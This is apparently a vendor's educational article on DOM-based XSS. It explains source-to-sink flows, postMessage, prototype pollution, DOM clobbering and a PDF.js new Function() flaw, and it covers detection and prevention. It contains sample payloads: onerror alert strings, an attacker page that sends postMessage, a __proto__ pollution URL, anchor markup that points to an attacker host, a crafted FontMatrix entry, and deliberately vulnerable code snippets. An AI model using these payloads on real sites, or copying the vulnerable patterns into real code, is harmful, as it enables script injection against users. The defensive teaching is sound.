DOM-based XSS

What is DOM-based XSS#

DOM-based XSS (CWE-79, Type-0 XSS in the OWASP taxonomy) is a variant where the vulnerability exists entirely within client-side JavaScript. The server's response is legitimate — no malicious data passes through the HTTP layer. Instead, client-side code reads attacker-controlled data from a DOM source and writes it to a dangerous sink without sanitization. The script executes in the victim's browser under the application's origin.

This makes DOM XSS fundamentally different from reflected and stored variants: server-side WAFs see no attack traffic, and any DAST tool that only examines HTTP responses will not detect it. Detection requires dynamic JavaScript analysis — a headless browser instrumenting the actual execution, tracing data from source to sink.

Sources and Sinks#

The source → sink data flow is the core model of DOM XSS analysis.

Sources — attacker-controllable inputs that JavaScript can read:

Sinks — dangerous DOM write operations that can produce script execution:

Mechanism#

The classic DOM XSS pattern reads from location.search and writes to innerHTML:

// VULNERABLE — source to sink without sanitization
const params = new URLSearchParams(location.search);
const name = params.get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
 
// Payload: ?name=<img src=x onerror=alert(document.domain)>
// The browser inserts the raw HTML, executes the onerror handler

The server returns a normal 200 response. The entire vulnerability exists in two lines of client JavaScript.

postMessage variant — exploitable from any cross-origin page:

// VULNERABLE — no origin validation
window.addEventListener('message', function(e) {
  // e.origin not checked — any origin can send
  document.getElementById('content').innerHTML = e.data; // sink
});

// Attacker page (any origin):
const target = window.open('https://victim.com/app');
setTimeout(() => {
  target.postMessage('<img src=x onerror=alert(document.domain)>', '*');
}, 1000);

CVE-2024-49038 (Microsoft Copilot Studio, CVSS 9.3) exploited a postMessage/DOM injection pattern in a cloud AI service, allowing cross-tenant privilege escalation.

Advanced Techniques#

Prototype Pollution → XSS#

Prototype pollution sets arbitrary properties on Object.prototype via crafted query parameters. When application code or a library reads an undefined property from any object, it falls back to the polluted prototype.

// Step 1: Prototype pollution via URL
// ?__proto__[transport_url]=data:,alert(document.domain);
// Sets: Object.prototype.transport_url = "data:,alert(1)"
 
// Step 2: jQuery gadget reads the property
$.ajax({ url: '/api', jsonp: callback });
// jQuery internally reads options.transport_url — undefined on options object
// Falls back to Object.prototype.transport_url → attacker's payload executes

CVE-2026-41238 demonstrates that DOMPurify itself is a prototype pollution gadget: polluting Object.prototype.tagNameCheck with a permissive regex causes DOMPurify to pass arbitrary elements through sanitization, converting a prototype pollution vulnerability anywhere in the application into a full XSS bypass.

Detection tools: Burp Suite DOM Invader (built-in prototype pollution scanner), PPScan Chrome Extension, and the client-side-prototype-pollution GitHub repository (maintained gadget list by BlackFan).

DOM Clobbering#

DOM clobbering uses named HTML elements — injected via HTML injection in contexts where <script> is blocked — to shadow JavaScript global variables.

<!-- Single-level clobber: window.x becomes an HTMLElement -->
<a id="x" href="https://attacker.com/malicious.js"></a>
 
<!-- Two-level clobber: window.config.cdn becomes a string via anchor href -->
<a id="config"><a id="config" name="cdn" href="https://attacker.com">

When application code executes var url = window.config.cdn || '/assets/', the clobbered config.cdn value is https://attacker.com — attacker-controlled.

CVE-2024-7524 — Firefox CSP strict-dynamic bypass: The Facebook SDK ETP shim reads document.currentScript.src without validating the tagName. Injecting <img name="currentScript" src="data:,alert(document.domain)"> causes the shim to load the data: URI as a trusted child script under strict-dynamic, bypassing the CSP entirely.

CVE-2024-4367 — PDF.js new Function() Sink#

PDF.js's font rendering pipeline compiles glyph instructions into new Function() bodies. A controllable FontMatrix array in PDF metadata — inserted raw into the function body without type validation — closes the legitimate call and appends arbitrary JavaScript.

# Malicious PDF font definition
/FontMatrix [1 2 3 4 5 (0\); alert\('CVE-2024-4367'\))]

CVSS 8.8 HIGH. Affected all Firefox versions < 126 and all web/Electron applications embedding pdfjs-dist (~2.7M weekly npm downloads). The new Function() sink is dangerous precisely because it bypasses the HTML parsing step entirely — no tag injection needed.

Detection#

Manual Testing#

1. Identify DOM sources: Review JavaScript for calls to location.search, location.hash, document.referrer, window.name, addEventListener('message', ...)
2. Trace data flow: Follow the variable from source through any processing to a sink assignment
3. Inject into the source: Place payload in URL hash or query, observe browser behavior
4. Test postMessage: Open the target in a popup, send postMessage with XSS payload from an attacker-controlled origin

// Quick manual test — paste in browser console
// Tests if location.hash reaches innerHTML
const hash = decodeURIComponent(location.hash.slice(1));
// Check all innerHTML assignments manually in browser DevTools Sources tab

Automated Detection#

• Burp Suite DOM Invader — the gold standard; instruments Chrome's JavaScript engine to hook all sinks, trace source → sink data flow, and generate context-aware PoC payloads automatically
• CodeQL — semantic analysis that models full data-flow from source to sink across files and modules; higher precision than string-matching approaches
• Semgrep taint mode — faster, lower precision; good for CI pipeline integration

BreachVex detects DOM XSS using instrumented headless-browser sessions that hook all dangerous sinks at page load, trace canary arrival at each sink with full stack traces, and confirm execution by catching the resulting dialog.

Prevention#

Trusted Types API (Platform-Level Elimination)#

Trusted Types (enforced on YouTube, Microsoft 365, and Stripe) prevents DOM sinks from accepting raw strings entirely:

// CSP header to enforce:
// Content-Security-Policy: require-trusted-types-for 'script'
 
// Safe policy — DOMPurify sanitizes before assignment
const policy = trustedTypes.createPolicy('default', {
  createHTML: (input) => DOMPurify.sanitize(input),
});
 
element.innerHTML = policy.createHTML(userInput); // OK — goes through sanitizer
element.innerHTML = userInput;                    // TypeError in enforcement mode

This prevents DOM XSS even when a source-to-sink flow exists — the browser throws before the sink executes.

Safe Sink Alternatives#

Replace dangerous sinks with safe equivalents:

// VULNERABLE: innerHTML with user data
element.innerHTML = userInput;
 
// SAFE: textContent for plain text (never renders HTML)
element.textContent = userInput;
 
// SAFE: structured DOM construction (no HTML parsing)
const p = document.createElement('p');
p.textContent = userInput;
container.appendChild(p);
 
// SAFE: DOMPurify + Trusted Types when HTML is needed
element.innerHTML = trustedTypesPolicy.createHTML(DOMPurify.sanitize(userInput));

postMessage Origin Validation#

// VULNERABLE — no origin check
window.addEventListener('message', function(e) {
  element.innerHTML = e.data;
});
 
// SAFE — strict allowlist of expected origins
const ALLOWED_ORIGINS = new Set(['https://app.example.com', 'https://checkout.example.com']);
 
window.addEventListener('message', function(e) {
  if (!ALLOWED_ORIGINS.has(e.origin)) return; // reject unknown origins
  element.textContent = e.data;               // use safe sink
});

Prototype Pollution Mitigation#

// Freeze Object.prototype to prevent pollution
Object.freeze(Object.prototype);
 
// Or: use Object.create(null) for config objects (no prototype chain)
const config = Object.create(null);
config.timeout = 5000;
// Object.prototype pollution cannot reach config properties

Resources#

• XSS — Pillar Overview
• OWASP DOM-based XSS Prevention Cheat Sheet
• PortSwigger: DOM-based XSS Labs
• Trusted Types MDN